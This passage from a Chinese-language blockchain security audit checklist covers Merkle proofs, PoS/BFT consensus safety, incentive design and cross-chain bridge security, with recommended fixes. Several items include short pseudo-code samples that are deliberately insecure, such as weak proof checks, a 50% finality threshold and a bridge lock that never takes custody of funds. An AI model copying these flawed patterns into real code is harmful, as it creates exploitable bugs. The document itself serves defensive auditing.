Analysis</strong></p><ul><li>验证过程只检查部分节点；</li><li>对中间节点的索引或左右子节点拼接顺序处理错误；</li><li>未对树的层级或节点数量进行合法性检查。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>伪造或篡改交易数据无法被及时识别；</li><li>影响区块完整性。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MerkleVerifier</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">verifyMerkleTree</span><span class="params">(List&lt;String&gt; transactions, String merkleRoot)</span> &#123;</span><br><span class="line">        <span class="comment">// 如果只对首尾做hash，而不严格逐层验证</span></span><br><span class="line">        <span class="keyword">return</span> hash(transactions.toString()).equals(merkleRoot);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li><strong>严格遵循双层或多层哈希的层次结构</strong>，对每一层节点进行拼接→哈希计算；</li><li><strong>检查节点数是否与树结构相吻合</strong>（如 2^n 或处理奇数节点）；</li><li><strong>最终对比计算出的 Root 与区块头中记录的 Root</strong>，必须一致才算有效。</li></ol></li></ul><h4 id="A4-默克尔证明验证">A4. 默克尔证明验证</h4><ul><li><p><strong>Description</strong></p><p>Merkle Proof（默克尔证明）常用于轻客户端或跨链验证，证明某笔交易是否存在于特定区块中。若验证不当，攻击者可伪造证明包通过审计节点。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>轻客户端仅接收一段“Merkle分支”，若未核对方向（左/右子节点）或拼接顺序，就可能被伪造；</li><li>缺失对区块头 Merkle Root 的本地验证或共识验证。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium / High</p></li><li><p><strong>Impact</strong></p><ul><li>轻节点被攻击者欺骗，认为某笔交易存在或不存在；</li><li>破坏跨链桥或链下支付等应用的安全性。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MerkleProofChecker</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">checkProof</span><span class="params">(List&lt;String&gt; proofNodes, String targetTx, String merkleRoot)</span> &#123;</span><br><span class="line">        <span class="comment">// 如果不管左/右，直接顺序哈希</span></span><br><span class="line">        <span class="comment">// 可能被构造错误分支蒙蔽</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">computedRoot</span> <span class="operator">=</span> computeHash(proofNodes, targetTx);</span><br><span class="line">        <span class="keyword">return</span> computedRoot.equals(merkleRoot);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li><strong>在验证 Proof 时识别每个节点是左子还是右子</strong>，并以正确的顺序拼接哈希；</li><li><strong>必须确认区块头中 Merkle Root 的真实性</strong>（区块头是否被全节点或共识签名认可）；</li><li><strong>若跨链使用，该链的区块头在目标链也需有可信验证</strong>（例如 SPV 或多签中继）。</li></ol></li></ul><h3 id="B-共识机制安全">B. 共识机制安全</h3><h4 id="B1-PoS-BFT-最终确认条件">B1. PoS/BFT 最终确认条件</h4><ul><li><p><strong>Description</strong></p><p>在 PoS (Proof of Stake) 或 BFT (拜占庭容错) 类共识中，存在最终确认 (finality) 的概念。如果实现不当或条件过于宽松，可能出现“已确认”却被回滚的情况，或无法及时达成最终性。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>协议设计中未明确多少签名或多少轮投票才算最终确认；</li><li>节点在出现网络分区或延迟时错误判断最终状态。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>交易被回滚或双花；</li><li>用户和交易所无法判断何时资金“真正安全”。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">BFTFinalityChecker</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">isFinal</span><span class="params">(Block block)</span> &#123;</span><br><span class="line">        <span class="comment">// 如果仅检测到区块有&gt;50%的签名就标记final</span></span><br><span class="line">        <span class="comment">// 在网络不稳定时可能出现分叉</span></span><br><span class="line">        <span class="keyword">return</span> block.getSignatures().size() &gt; (N/<span class="number">2</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li><strong>根据共识算法要求设定合理的阈值</strong>（例如 2/3 + 1 签名才算通过）；</li><li><strong>在实际网络环境下考虑延迟和分区</strong>，防止盲目认为大部分签名就安全；</li><li><strong>区分“安全终结性”与“概率终结性”</strong>，对用户说明确认需要多少轮或多少区块。</li></ol></li></ul><h4 id="B2-PoS-BFT-双签惩罚">B2. PoS/BFT 双签惩罚</h4><ul><li><p><strong>Description</strong></p><p>若验证者在同一个高度或轮次内进行重复签名（双签），可能破坏系统安全。必须有惩罚机制（Slash）来威慑此类行为。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>共识协议中对双签的监测逻辑不完善；</li><li>没有及时在链上执行罚没或移除验证者资格。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>验证者合谋产生双签，造成双重支出或分叉；</li><li>导致 PoS/BFT 安全性大打折扣。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DoubleSignDetector</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">onBlock</span><span class="params">(Block block)</span> &#123;</span><br><span class="line">        <span class="comment">// 如果只存储最后一次签名，不记录历史</span></span><br><span class="line">        <span class="comment">// 双签无法被识别</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li><strong>在链上存储每个验证者在每轮/高度的签名</strong>，检索是否出现同轮次双签；</li><li><strong>一旦确认双签，自动执行惩罚</strong>（部分或全部质押罚没、移除验证者列表）；</li><li><strong>鼓励社区或节点提交“双签证据”</strong>，以实现去中心化监控。</li></ol></li></ul><h4 id="B3-PoS-BFT-拒绝出块惩罚">B3. PoS/BFT 拒绝出块惩罚</h4><ul><li><p><strong>Description</strong></p><p>在PoS/BFT网络中，部分验证者可能长时间不出块（离线）或故意拖延出块。若无惩罚机制，会使网络出块率下降、交易堆积。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>协议对出块人仅有奖励，无无故离线处罚；</li><li>缺少统计离线时长或连续跳票的指标。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium / High</p></li><li><p><strong>Impact</strong></p><ul><li>共识速度降低，交易确认时间变长；</li><li>网络稳定性变差，一旦主节点下线难以及时切换。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ValidatorInactivity</span> &#123;</span><br><span class="line">    <span class="comment">// 如果仅按轮次随机选出块验证者，但不检测长期离线</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li><strong>定义 inactivity penalty（不活跃惩罚）</strong>，对长时间不出块的节点削减权益；</li><li><strong>允许节点主动卸任或切换</strong>，减少对诚实节点的负担；</li><li><strong>共识层对验证者进行轮换</strong>，并记录出块率和在线率做评分。</li></ol></li></ul><h4 id="B4-区块时间偏移攻击">B4. 区块时间偏移攻击</h4><ul><li><p><strong>Description</strong></p><p>区块时间戳在某些共识中有较大自由度，恶意节点可将区块时间篡改到未来或过去，干扰时间依赖的逻辑（如PoS收益、锁仓到期等）。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>共识协议只做简单检查，如“区块时间必须大于父区块时间”；</li><li>网络中没有统一时钟或最大漂移限制。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium / High</p></li><li><p><strong>Impact</strong></p><ul><li>攻击者可加快/减慢区块链时间，影响 staking 奖励或合约锁定期；</li><li>多节点间因时间差异而出现分叉。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">TimestampValidator</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">isValidTimestamp</span><span class="params">(<span class="type">long</span> blockTime, <span class="type">long</span> parentTime)</span> &#123;</span><br><span class="line">        <span class="comment">// 如果仅检查 blockTime &gt;= parentTime</span></span><br><span class="line">        <span class="comment">// 攻击者可设置blockTime到几小时后</span></span><br><span class="line">        <span class="keyword">return</span> blockTime &gt;= parentTime;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li><strong>限制区块时间戳与本地时间的最大偏差</strong>（如±15秒或±30秒）；</li><li><strong>PoS/BFT网络中，节点相互核对时钟</strong>，并将可疑节点标记；</li><li><strong>关键业务逻辑</strong>（staking、锁仓）依赖区块高度而非时间戳，或结合在链上进行加权校正。</li></ol></li></ul><h4 id="B5-共识算法潜在风险评估">B5. 共识算法潜在风险评估</h4><ul><li><p><strong>Description</strong></p><p>每种共识算法（PoW、PoS、DPoS、PBFT、Tendermint等）都有自身的安全假设与风险。若上线前未做完备评估，可能在高波动市场或极端网络环境中暴露严重漏洞。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>团队在改造或二次开发共识算法时，引入了新的攻击面；</li><li>忽视了网络延迟、记账权集中等现实因素。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>出现分叉、双花、数据不一致等；</li><li>系统在极端压力下崩溃或出现无法达成共识的状态。</li></ul></li><li><p><strong>Recommendation</strong></p><ol><li><strong>结合学术研究与社区实践</strong>，充分理解共识协议的安全假设；</li><li><strong>在测试网或模拟器中针对极端场景（高延迟、攻击节点、分区）进行压测</strong>；</li><li><strong>定期更新共识算法及其实现</strong>，并保留回退或应急机制。</li></ol></li></ul><h4 id="B6-矿工磨损攻击">B6. 矿工磨损攻击</h4><ul><li><p><strong>Description</strong></p><p>在PoW机制中，若区块难度调整机制不合理，攻击者可利用波动的哈希率或矿工队列策略，导致“矿工磨损”（矿工大量浪费算力却获益极少）。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>难度调整过慢或过快；</li><li>某些矿工利用跳矿（见利快跑）干扰整体算力。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium</p></li><li><p><strong>Impact</strong></p><ul><li>短期内区块生成速度失衡，出块时间过长或过短；</li><li>矿工收益不稳定，可能退出网络。</li></ul></li><li><p><strong>Recommendation</strong></p><ol><li><strong>采用平滑的难度调整算法</strong>（如 BTC 每2016块或更细粒度的调整）；</li><li><strong>提高区块奖励算法的公平性</strong>，避免跳矿；</li><li><strong>监测网络算力波动</strong>，在极端情况采取临时保护（如紧急难度调整）。</li></ol></li></ul><h4 id="B7-区块验证审计">B7. 区块验证审计</h4><ul><li><p><strong>Description</strong></p><p>新区块需要验证交易、Merkle树、时间戳、难度或共识签名等；若缺少完整的验证流程或存在后门，可能接受非法区块。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>验证逻辑实现不完整，或为提高效率跳过部分检查；</li><li>未验证区块中的签名或哈希难度达标。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>攻击者伪造区块，可导致双花或链上数据变造；</li><li>系统无法维持一致性，陷入分叉或混乱。</li></ul></li><li><p><strong>Recommendation</strong></p><ol><li><strong>严格遵循各字段验证</strong>（PoW难度、PoS签名集合、Merkle Root、前区块哈希等）；</li><li><strong>勿因性能考虑而跳过关键验证</strong>；</li><li><strong>对区块验证逻辑进行多次审计和测试</strong>，在不同场景下确保一致结果。</li></ol></li></ul><h4 id="B8-PoW-计算竞争审计">B8. PoW 计算竞争审计</h4><ul><li><p><strong>Description</strong></p><p>PoW 区块链的安全依赖全网算力竞争，但也可能出现算力集中在少数矿池、或实体。算力垄断将导致 51% 攻击等风险。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>矿池规模不断扩大，普通矿工都加入大型矿池；</li><li>设备升级或专用芯片（ASIC）使得个人竞争力下降。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>攻击者（或大型矿池）拥有&gt;50%算力，可以随时双花或拒绝确认其他区块；</li><li>链的去中心化和安全性受威胁。</li></ul></li><li><p><strong>Recommendation</strong></p><ol><li><strong>鼓励小矿工或新的挖矿节点</strong>，降低中心化；</li><li><strong>对矿池进行去中心化设计或协议层的限制</strong>；</li><li><strong>实时监控矿池算力分布</strong>，如单方接近40-50%则社区预警。</li></ol></li></ul><h4 id="B9-PoC-共识安全审计">B9. PoC 共识安全审计</h4><ul><li><p><strong>Description</strong></p><p>PoC (Proof of Capacity) 依赖存储空间的挑战与数据校验，也可能存在可替代存储或索引作弊，破坏公平性。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>算法细节未审计导致可以跳过存储或提前计算；</li><li>大规模云存储服务可瞬时扩容，出现集中化。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium</p></li><li><p><strong>Impact</strong></p><ul><li>共识结果易被少数巨头垄断；</li><li>造成与PoW类似的中心化或安全漏洞。</li></ul></li><li><p><strong>Recommendation</strong></p><ol><li><strong>确保PoC算力/容量证明算法难以绕过</strong>；</li><li><strong>监控网络中存储容量分布</strong>，防止集中化；</li><li><strong>定期升级PoC算法</strong>，防范特定硬件或云平台的作弊。</li></ol></li></ul><h4 id="B10-分叉处理机制">B10. 分叉处理机制</h4><ul><li><p><strong>Description</strong></p><p>区块链偶尔会出现短分叉或网络分区。若处理机制不当或规则不明确，容易导致长期分叉或节点状态不一致。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>未按照最长链或最大权益链原则来选择主链；</li><li>未设置重组（reorg）深度或恶意分叉检测。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>连续分叉造成不可预期的交易回滚；</li><li>攻击者利用分叉做双花或收敛攻击。</li></ul></li><li><p><strong>Recommendation</strong></p><ol><li><strong>定义清晰的主链选择规则</strong>（Longest Chain / GHOST / LMD-GHOST / etc.）；</li><li><strong>限制可接受的分叉深度</strong>，极端情况需人或治理层干预；</li><li><strong>在发现分叉后</strong>，节点及时回滚到公共祖先区块并重播交易。</li></ol></li></ul><h4 id="B11-共识切换机制">B11. 共识切换机制</h4><ul><li><p><strong>Description</strong></p><p>在主网需要从 PoW 切换到 PoS，或从一种BFT切换到另一种共识时，缺乏安全的切换方法会导致分裂或双重处理。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>无充分测试，直接硬分叉切换；</li><li>节点在过渡阶段版本混杂，新老共识同时存在冲突。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>部分节点不兼容，形成链分裂；</li><li>合约或账户资产因共识差异出现安全漏洞。</li></ul></li><li><p><strong>Recommendation</strong></p><ol><li><strong>先在测试网模拟共识切换</strong>流程；</li><li><strong>引入分阶段升级</strong>（先多数节点就位，再触发切换）；</li><li><strong>在链上记录升级激活高度</strong>，并对旧版本节点进行强制弃用。</li></ol></li></ul><h4 id="B12-长程攻击防护">B12. 长程攻击防护</h4><ul><li><p><strong>Description</strong></p><p>长程攻击（long-range attack）通常指攻击者在PoS等协议下，伪造一个从很早区块开始的“替代链”，利用私钥过期或长时间离线的节点签名来重写历史。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>PoS区块链如果初始验证者私钥泄露或弃用后，攻击者可在很早的区块上分叉并积累“签名权重”。</li><li>若节点只依赖区块头链而缺乏定期“锁定点”，长程链可能被认为是合法。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>历史交易被推翻，出现非常严重的双花；</li><li>整个账本的信任基础被攻破。</li></ul></li><li><p><strong>Recommendation</strong></p><ol><li><strong>建立定期检查点（checkpoint）</strong>，对足够老的区块进行不可逆确认；</li><li><strong>使用“强最终性”或额外的签名锁定</strong>；</li><li><strong>在网络层或社区层收集更多节点快照</strong>，防止单独节点被误导。</li></ol></li></ul><h3 id="C-激励机制">C. 激励机制</h3><h4 id="C1-交易费用动态调整">C1. 交易费用动态调整</h4><ul><li><p><strong>Description</strong></p><p>区块链常采用动态调整交易费率来应对网络拥堵，但若算法不合理、参考数据过少，会导致过高或过低的收费，影响用户体验或安全性。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>参考区块内交易手续费的中位数/平均值不够准确；</li><li>没有设计窗口平滑或上限保护机制。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium</p></li><li><p><strong>Impact</strong></p><ul><li>手续费暴涨，正常用户无法接受；或过低导致区块拥堵或矿工收入不足；</li><li>恶意交易者可利用机制漏洞不断压低或抬高费率。</li></ul></li><li><p><strong>Recommendation</strong></p><ol><li><strong>类似 EIP-1559</strong> 等成熟的动态费率算法，并设置最低费率和上限；</li><li><strong>在实现中加入平滑机制</strong>，避免一次大交易突变导致费率骤升；</li><li><strong>对手续费变动进行监控</strong>，在极端情况可临时启用人工干预或默认费率。</li></ol></li></ul><h4 id="C2-激励层安全审计">C2. 激励层安全审计</h4><ul><li><p><strong>Description</strong></p><p>区块链系统通常有挖矿奖励、出块奖励、投票收益等激励。激励层若存在计算漏洞或被操控，会导致不公平分配或通胀异常。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>逻辑实现中对累加或分配算法有溢出、浮点精度或四舍五入错误；</li><li>未审计用户提交的收益请求或奖励声明。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium / High</p></li><li><p><strong>Impact</strong></p><ul><li>恶意节点获得不当高额奖励；</li><li>正常节点收益被稀释，打击参与积极性。</li></ul></li><li><p><strong>Recommendation</strong></p><ol><li><strong>对激励计算公式做审计和严格测试</strong>（尤其防止整数溢出）；</li><li><strong>定期核对总发行量</strong>，发现异常通胀或奖励分配问题及时修复；</li><li><strong>若使用智能合约</strong>，严防重入攻击或状态不一致导致重复领取奖励。</li></ol></li></ul><h4 id="C3-奖励分配机制">C3. 奖励分配机制</h4><ul><li><p><strong>Description</strong></p><p>区块或验证者产生的奖励通常需要分发给矿工、节点或其他参与者；若分配机制有设计瑕疵，可能导致大户或特定节点长时间占据大部分收益。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>未考虑节点出块概率、stake 权益平衡；</li><li>一旦节点规模或抵押量过大，就持续滚雪球优势。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium</p></li><li><p><strong>Impact</strong></p><ul><li>去中心化程度下降，大节点越挖越多；</li><li>带来潜在的安全威胁（51%或合谋控制网络）。</li></ul></li><li><p><strong>Recommendation</strong></p><ol><li><strong>引入随机性或更均衡的出块方法</strong>（如 VRF、轮转）；</li><li><strong>对大节点的奖励做适度衰减</strong>，鼓励更多小节点参与；</li><li><strong>定期审计出块分配</strong>，如发现某节点收益异常集中需警示或引入新的分散策略。</li></ol></li></ul><h4 id="C4-惩罚机制有效性">C4. 惩罚机制有效性</h4><ul><li><p><strong>Description</strong></p><p>大多数 PoS/BFT 系统对恶意或不活跃节点都有惩罚。若惩罚力度过低或实施不严，无法形成威慑力；反之若过度惩罚，也会打击正当参与者。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>惩罚参数设置随意；</li><li>执行层在触发条件后却未实际扣减抵押或封禁节点。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium / High</p></li><li><p><strong>Impact</strong></p><ul><li>不诚信节点可以违规或双签而不受实质损失；</li><li>或因误判导致合法节点被重罚，带来节点纷纷退出。</li></ul></li><li><p><strong>Recommendation</strong></p><ol><li><strong>结合经济模型和博弈分析</strong>，设计合适的惩罚系数；</li><li><strong>在智能合约或共识代码中</strong>确保一旦发生双签、长时间离线，自动且不可逆地执行惩罚；</li><li><strong>设置申诉或仲裁机制</strong>，对于网络波动等非主观恶意行为可适当豁免。</li></ol></li></ul><h2 id="跨链安全审计">跨链安全审计</h2><h3 id="跨链通信安全：跨链通信数据被篡改或伪造">跨链通信安全：跨链通信数据被篡改或伪造</h3><ul><li><p><strong>Description</strong></p><p>在跨链场景中，不同区块链之间需要通过通信协议（如 IBC、智能合约网关、去中心化中继等）交换交易或事件数据。如果通信通道缺乏安全加密或完整性校验，攻击者就可能在传输过程中篡改、重放或伪造数据。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>缺少加密/签名机制；</li><li>中间传输层使用了明文或可被中间人攻击（MITM）窃听、篡改；</li><li>跨链协议中对消息ID、nonce 等关键字段检查不严格，允许重放攻击。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>攻击者可以伪造跨链事件，导致错误的资产释放或状态更新；</li><li>可能导致双花，或让某些交易在目标链被重复执行。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CrossChainClient</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">sendCrossChainMessage</span><span class="params">(String data)</span> &#123;</span><br><span class="line">        <span class="comment">// 如果只是通过HTTP明文传输 data</span></span><br><span class="line">        <span class="comment">// 无签名或加密，容易被篡改</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li><strong>使用端到端加密并进行消息签名</strong>（如 TLS + 双向验证，或在应用层签名）；</li><li><strong>为跨链消息设置唯一序号或 nonce</strong>，并在目标链校验防止重放；</li><li><strong>对消息进行多方或多节点验证</strong>（如多签中继），减少单点篡改风险。</li></ol></li></ul><h3 id="资产锁定机制：源链资产锁定不真实或可被绕过">资产锁定机制：源链资产锁定不真实或可被绕过</h3><ul><li><p><strong>Description</strong></p><p>在跨链桥或跨链应用中，通常需要将源链上的资产先“锁定”或“冻结”，然后在目标链上铸造等值代币。如果锁定机制不严格，攻击者可伪造“锁定成功”事件，让目标链错误地释放映射资产。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>在源链上仅发出一条事件却未真正锁定合约或账户余额；</li><li>合约逻辑中对“锁定”只做部分更新，没有实际冻结余额；</li><li>多签/权限管理不当，使得锁定可被管理员随意撤销。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>产生“假充值”或重复挪用资产；</li><li>攻击者无需实际消耗源链资产，就能在目标链无限铸造映射代币。</li></ul></li><li><p><strong>Example Code</strong> (Solidity 伪示例)</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">contract CrossChainBridge &#123;</span><br><span class="line">    mapping (address =&gt; uint) public lockedBalance;</span><br><span class="line"></span><br><span class="line">    function lock(address user, uint amount) public &#123;</span><br><span class="line">        // 只是记录lockedBalance[user] += amount</span><br><span class="line">        // 实际并未从user余额中转走，导致并未真正锁定</span><br><span class="line">        lockedBalance[user] += amount;</span><br><span class="line">        emit LockEvent(user, amount);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li><strong>确保锁定合约实际控制资产</strong>（例如使用 <code>transferFrom</code> 或 <code>burn</code> 机制来真的冻结/销毁）；</li><li><strong>对锁定操作进行二次确认或多签</strong>，关键事件在源链上可被审计；</li><li><strong>在目标链执行铸造前</strong>，必须验证源链区块头或存储证明，确认锁定已生效。</li></ol></li></ul><h3 id="跨链交易验证：目标链对跨链交易验证不足">跨链交易验证：目标链对跨链交易验证不足</h3><ul><li><p><strong>Description</strong></p><p>当源链某笔交易或事件需要在目标链执行或证明其有效性（如跨链转账、跨链调用），如果目标链缺乏<strong>完整的验证机制</strong>，便可被欺骗或重放。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>仅依赖单个中继者或中心化服务提供的交易证明；</li><li>未验证源链区块头或默克尔树证明（SPV/VP），就默认接受跨链消息；</li><li>目标链对交易中的签名、nonce、区块高度等要素不进行严格检查。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>攻击者可伪造跨链交易或重复使用同一交易证明，“空手套白狼”；</li><li>出现双花或重复释放跨链资产，破坏两条链的公信力。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">TargetChainContract</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">handleCrossChainTx</span><span class="params">(CrossChainTx tx)</span> &#123;</span><br><span class="line">        <span class="comment">// 如果只是 tx.getProof() != null 就接受执行</span></span><br><span class="line">        <span class="comment">// 未验证区块头或交易MerkleProof</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li><strong>在目标链进行跨链消息的SPV或验证人多签</strong>(PoA) 来确保源链区块头真实；</li><li><strong>校验交易所在区块的 Merkle Root、区块签名/难度、交易路径</strong> 等；</li><li><strong>限制跨链交易有效期或重放次数</strong>，防止重复使用同一个证明。</li></ol></li></ul><h3 id="中继节点安全：中继节点-Relayer-被攻陷或作恶">中继节点安全：中继节点(Relayer)被攻陷或作恶</h3><ul><li><p><strong>Description</strong></p><p>多数跨链方案依赖中继节点收集源链事件并传送到目标链。如果中继节点数量不足或安全性弱，被攻陷后即可篡改/伪造跨链消息，进而盗取或冻结资产。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>采用单个中继节点或极少数节点；</li><li>节点运行环境缺乏防护（易被入侵，密钥被窃）；</li><li>中继协议缺少拜占庭容错或多签机制。</li></ul></li><li><p><strong>Severity</strong></p><p>High / Critical</p></li><li><p><strong>Impact</strong></p><ul><li>攻击者控制中继可随意向目标链发送虚假事件；</li><li>跨链桥或跨链应用丧失安全可信基础，导致大规模损失。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SingleRelayer</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> KeyPair relayerKey;</span><br><span class="line">    <span class="comment">// 只要此 relayerKey 被盗</span></span><br><span class="line">    <span class="comment">// 攻击者可提交任意消息给目标链</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li><strong>使用多节点+多签机制</strong>（如N/ M签名），单一节点无法独立发起跨链事件；</li><li><strong>定期审计中继节点运行环境</strong>，包含操作系统安全、网络防护、硬件安全模块；</li><li><strong>若可行，使用去中心化中继网络</strong>（如IBC或跨链拍卖机制）减少对单节点的依赖。</li></ol></li></ul><h3 